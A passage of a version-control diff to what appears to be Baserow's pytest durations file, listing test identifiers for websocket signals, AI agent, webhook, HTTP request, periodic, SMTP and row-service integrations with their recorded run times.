"tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_no_databases": 0.28315762399961386, - "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_number_of_queries": 0.16250762499930715, - "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_performance": 0.00013337500058696605, - "tests/baserow/contrib/integrations/local_baserow/test_local_baserow_models.py::test_local_baserow_table_service_field_mapping_manager": 0.16217858500021975, - "tests/baserow/contrib/integrations/local_baserow/test_local_baserow_models.py::test_local_baserow_table_service_refinement_manager": 0.16287645800002792, - "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0003_migrate_local_baserow_table_service_filter_values_to_formulas_forwards": 0.00012658400009968318, - "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0003_migrate_local_baserow_table_service_filter_values_to_formulas_reduce_to_filter_types_to_migrate": 0.0124017090020061, - "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0004_migrate_local_baserow_getrow_list_rows_search_query_to_formulas_forwards": 9.224900168192107e-05, - "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0006_migrate_local_baserow_table_service_filter_formulas_to_value_is_formula_forwards": 7.999899935384747e-05, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_updated_for_public_view_force_refresh_event_sent[gallery]": 0.2368424580199644, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_updated_for_public_view_force_refresh_event_sent[grid]": 0.4016293750028126, + "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_created": 0.36224545899312943, + "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_deleted": 0.35813666600733995, + "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_restored": 0.39676116697955877, + "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_restored_doesnt_do_n_plus_some_queries": 0.44657370902132243, + "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_updated": 0.3395575419999659, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_join_view_page_as_anonymous_user": 0.46442050000769086, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_broadcast": 0.012993125972570851, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_can_add": 0.2946955419902224, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_get_group_name": 0.012618499982636422, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_broadcast": 0.012885126052424312, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_can_add": 0.19218929100316018, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_get_group_name": 0.012698582984739915, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_get_permission_channel_group_name": 0.012519126030383632, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_broadcast": 0.01304087502649054, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_can_add": 0.1963258330069948, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_get_group_name": 0.012855666980613023, + "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_get_permission_channel_group_name": 0.01268754099146463, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_populates_with_row_id_metadata": 0.012796208990039304, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_created": 0.3900177080067806, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_created_with_metadata": 0.36199999900418334, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_created_without_sending_realtime_update": 0.3644005000242032, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_deleted": 0.35629654201329686, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_deleted_without_sending_realtime_update": 0.34896695901989006, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_orders_recalculated": 0.3845993340073619, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_updated": 0.3934765409794636, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_updated_with_metadata": 0.37442787500913255, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_updated_without_sending_realtime_update": 0.36066866596229374, + "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_rows_history_updated": 0.39937624998856336, + "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_created": 0.3391080000146758, + "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_deleted": 0.33007116700173356, + "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_updated": 0.329638373979833, + "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_tables_reordered": 0.33088787499582395, + "tests/baserow/contrib/database/ws/test_ws_table_tasks.py::test_unsubscribe_user_from_tables_and_rows_when_removed_from_workspace": 0.6595685409847647, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_created": 0.33759137502056547, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_created": 0.34616187497158535, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_deleted": 0.32557000100496225, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_updated": 0.339290208008606, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_deleted": 0.32773808200727217, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_field_options_updated": 0.3467318760231137, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_created": 0.35556945798452944, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_deleted": 0.3349202500539832, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_created": 0.3366240010072943, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_deleted": 0.35004474996821955, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_updated": 0.39156370802083984, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_updated": 0.34042812400730327, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_created": 0.3306792080111336, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_deleted": 0.3335967079619877, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_updated": 0.36218795797321945, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_created": 0.3385231659922283, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_deleted": 0.36091625000699423, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_updated": 0.3324770399776753, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_updated": 0.3370258340437431, + "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_views_reordered": 0.3434440410055686, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_creation": 0.10278929202468134, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_creation_with_choices": 0.10837449997779913, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_creation_with_temperature": 0.1112910839729011, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_ai_error": 0.10936537603265606, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_choice_output": 0.10731874901102856, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_in_published_workflow": 0.15088837500661612, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_missing_choices": 0.1011148750258144, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_missing_model": 0.09270183299668133, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_missing_provider": 0.10248858196428046, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_text_output": 0.10713404201669618, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_with_formula": 0.10742637398652732, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_with_integration_settings": 0.10838699899613857, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_dispatch_with_temperature": 0.1085223340196535, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_export_import": 0.1045897499716375, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_generate_schema": 0.10290770904975943, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_requires_integration_settings_not_workspace_fallback": 0.1495936670107767, + "tests/baserow/contrib/integrations/ai/test_ai_agent_service_type.py::test_ai_agent_service_update": 0.10429741701227613, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_creation": 0.09903345897328109, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_creation_with_settings": 0.10075050001614727, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_deletion": 0.10686970897950232, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_export_serialized": 0.10069137500249781, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_export_serialized_exclude_sensitive": 0.10129920797771774, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_get_provider_settings": 0.09837529101059772, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_get_provider_settings_empty": 0.10164454198093154, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_get_provider_settings_from_workspace": 0.10149637598078698, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_import_serialized": 0.0950914169952739, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_is_provider_overridden": 0.09823229102767073, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_partial_update": 0.10042787599377334, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_serialized_dict_type": 0.01640820800093934, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_serializer_field_names": 0.016432041040388867, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_settings_hierarchy": 0.10598408299847506, + "tests/baserow/contrib/integrations/ai/test_ai_integration_type.py::test_ai_integration_update": 0.10019670700421557, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_allows_valid_http_methods[delete]": 0.10411970899440348, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_allows_valid_http_methods[get]": 0.10365158299100585, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_allows_valid_http_methods[patch]": 0.1029382509586867, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_allows_valid_http_methods[post]": 0.1033916670421604, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_allows_valid_http_methods[put]": 0.09450549897155724, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_rejects_disallowed_methods[head]": 0.09352245801710524, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_rejects_disallowed_methods[options]": 0.0989959170401562, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_rejects_disallowed_methods[trace]": 0.09974266702192836, + "tests/baserow/contrib/integrations/core/api/webhooks/test_webhook_views.py::test_rejects_http_get_if_service_excludes_get": 0.10332883399678394, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_basic": 0.020976959000108764, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_basic_body_json": 0.023104958032490686, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_basic_body_raw": 0.021474623965332285, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_create": 0.028671751002548262, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_json[]": 0.02065045799827203, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_json[application/json]": 0.018926667020423338, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_json[text/html; charset=UTF-8]": 0.018359290988883004, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_json[text/html]": 0.01897946000099182, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_text[]": 0.020213291980326176, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_text[text/html; charset=UTF-8]": 0.020235042029526085, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_dispatch_data_with_text[text/html]": 0.021249793033348396, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_export_import": 0.024733458034461364, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_extract_properties": 0.017154334986116737, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_formula_generator": 0.02140958301606588, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_generate_schema": 0.018664916016859934, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_generate_schema_with_sample_data": 0.02062475000275299, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_request_error": 0.023289332020794973, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_update": 0.03001374995801598, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_with_form_data": 0.025878042011754587, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_with_formulas": 0.024393083062022924, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_with_headers": 0.025821666000410914, + "tests/baserow/contrib/integrations/core/test_core_http_request_service_type.py::test_core_http_request_with_query_params": 0.02427470698603429, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_export_prepared_values_casts_uid_to_str": 0.0913115419971291, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_generate_schema": 0.09590841695899144, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_import_serialized_sets_is_public[False]": 0.09456937501090579, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_import_serialized_sets_is_public[True]": 0.09130641599767841, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_calls_on_event[False-True]": 0.09559195797191933, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_calls_on_event[True-False]": 0.09336787500069477, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_raises_if_exclude_get": 0.09597766696242616, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_raises_if_invalid_service": 0.016110084019601345, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_raises_if_missing_service[False-False]": 0.09231262400862761, + "tests/baserow/contrib/integrations/core/test_core_http_trigger_service_type.py::test_process_webhook_request_raises_if_missing_service[True-True]": 0.0910982100176625, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_multiple_periodic_services_that_are_due": 0.3492834579956252, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs0-2025-02-15 10:30:45-True]": 0.35554424999281764, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs1-2025-02-15 10:30:45-False]": 0.35497591699822806, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs10-2025-02-15 10:30:45-False]": 0.3578442510042805, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs11-2025-02-15 10:30:45-False]": 0.3695872919925023, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs12-2025-02-15 10:30:45-True]": 0.35750529199140146, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs13-2025-02-15 10:30:45-False]": 0.3516602489980869, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs14-2025-02-15 10:35:45-True]": 0.34433287402498536, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs15-2025-02-15 10:30:45-False]": 0.3639360409870278, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs16-2025-02-15 10:30:45-False]": 0.3461163329775445, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs17-2025-02-15 10:30:45-True]": 0.3594199999643024, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs18-2025-02-10 10:30:45-False]": 0.3448881250224076, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs19-2025-02-11 10:35:45-True]": 0.3593245000229217, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs2-2025-02-15 10:30:45-False]": 0.35730658305692486, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs20-2025-02-11 10:30:45-False]": 0.35165862494613975, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs21-2025-02-11 10:30:45-False]": 0.3608559590065852, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs22-2025-02-11 11:46:45-True]": 0.3539682920090854, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs23-2025-02-10 10:30:45-False]": 0.35512412601383403, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs24-2025-02-11 10:35:45-True]": 0.3597832919913344, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs25-2025-02-11 10:30:45-False]": 0.36277795798378065, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs26-2025-02-11 10:30:45-False]": 0.3485218330461066, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs27-2025-02-11 11:46:45-True]": 0.35684358299477026, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs3-2025-02-15 10:30:45-True]": 0.3479611260117963, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs4-2025-02-15 10:30:45-True]": 0.3584054590028245, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs5-2025-11-06 12:03:00-False]": 0.6783132909913547, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs6-2025-11-06 12:05:00-True]": 0.36677100000088103, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs7-2025-02-15 10:30:45-False]": 0.34024666596087627, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs8-2025-02-15 10:35:45-True]": 0.3668220000108704, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_due[service_kwargs9-2025-02-15 10:30:45-False]": 0.34256495800218545, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_locked": 0.3794742920144927, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_not_published": 0.36544124997453764, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_call_periodic_services_that_are_paused": 0.3614173330133781, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_periodic_service_prepare_values_validates_minute_minimum": 0.08823241700883955, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_periodic_trigger_node_creation_and_property_updates": 0.09494025103049353, + "tests/baserow/contrib/integrations/core/test_core_periodic_service_type.py::test_periodic_trigger_service_type_generate_schema": 0.09499191798386164, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_dispatch_data_using_default_edge": 0.01923216797877103, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_dispatch_data_with_a_truthful_edge": 0.02327300002798438, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_generate_schema": 0.10607733405777253, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[None--result4]": 0.017578208004124463, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[None-A-result2]": 0.02242062397999689, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[None-B-result3]": 0.0221389590005856, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[None-None-None]": 0.02183091701590456, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[sample_data1-None-result1]": 0.020325332996435463, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[sample_data5-A-result5]": 0.022255291987676173, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_get_sample_data[sample_data6--result6]": 0.019353916024556383, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_core_router_service_type_import_export": 0.3084938340471126, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_create_core_router_service": 0.08893533298396505, + "tests/baserow/contrib/integrations/core/test_core_router_service_type.py::test_update_core_router_service": 0.0964349590067286, + "tests/baserow/contrib/integrations/core/test_iterator_service_type.py::test_core_iterator_service_type_dispatch_data_array": 0.01580074997036718, + "tests/baserow/contrib/integrations/core/test_iterator_service_type.py::test_core_iterator_service_type_dispatch_data_simple_value": 0.020550208020722494, + "tests/baserow/contrib/integrations/core/test_iterator_service_type.py::test_core_iterator_service_type_empty_schema": 0.016184707987122238, + "tests/baserow/contrib/integrations/core/test_iterator_service_type.py::test_core_iterator_service_type_schema": 0.017690040986053646, + "tests/baserow/contrib/integrations/core/test_iterator_service_type.py::test_core_iterator_service_types_simple_schema": 0.018093166028847918, + "tests/baserow/contrib/integrations/core/test_service_types.py::test_core_service_type_dispatch_types": 0.012818167015211657, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_basic": 0.09644399999524467, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_connection_refused_error": 0.0981428739905823, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_host_could_not_be_reached_error": 0.09296458296012133, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_multiple_to_cc_and_bcc": 0.09312566704466008, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_no_recipients_error": 0.09710774998529814, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_tls_not_supported_error": 0.09207529100240208, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_unable_to_connect_to_the_smtp_server": 0.09784500001114793, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_username_password_incorrect_error": 0.09772620801231824, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_send_smtp_email_with_formulas": 0.0961443750129547, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_serialized_export_import": 0.10028395903646015, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_smtp_email_service_create_update": 0.09765999997034669, + "tests/baserow/contrib/integrations/core/test_smtp_email_service_type.py::test_smtp_email_service_generate_schema": 0.10149179198197089, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_creation": 0.10118304096977226, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_creation_minimal": 0.10226783299003728, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_deletion": 0.1023407079919707, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_enhance_queryset": 0.016774624993558973, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_export_serialized": 0.09372391700162552, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_export_serialized_exclude_sensitive": 0.0968242899980396, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_import_serialized": 0.0949524590105284, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_partial_update": 0.10228295900742523, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_prepare_values": 0.08762708297581412, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_serialized_dict_type": 0.017676667019259185, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_serializer_field_names": 0.0166604170226492, + "tests/baserow/contrib/integrations/core/test_smtp_integration_type.py::test_smtp_integration_update": 0.10149962501600385, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_create_local_baserow_aggregate_rows_service": 0.14325391699094325, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_create_local_baserow_aggregate_rows_service_with_unsupported_aggregation_type": 0.11969650100218132, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_field_deleted": 0.18629804198280908, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_field_trashed": 0.18487920804182068, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_field_type_not_compatible_anymore": 0.22291266699903645, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_search": 0.38444833498215303, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_service_filters": 0.17799937500967644, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_table": 0.15484404299058951, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_total": 0.17075862499768846, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_view": 0.16429604197037406, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_dispatch_data_with_view_filters": 0.15851758304052055, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_prepare_values_incompatible_aggregation_type": 0.14789391597150825, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_prepare_values_incorrect_field": 0.16852708396618254, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_prepare_values_reset_field_when_table_change": 0.14166920699062757, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_resolve_service_formulas": 0.013392499968176708, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_service_generate_schema": 0.1979902500170283, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_aggregate_rows_service_type.py::test_local_baserow_aggregate_rows_service_get_schema_name": 0.01284083299105987, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_create_local_baserow_delete_row_service": 0.10886041700723581, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data": 0.161833624006249, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data_row_not_exist": 0.13278987401281483, + 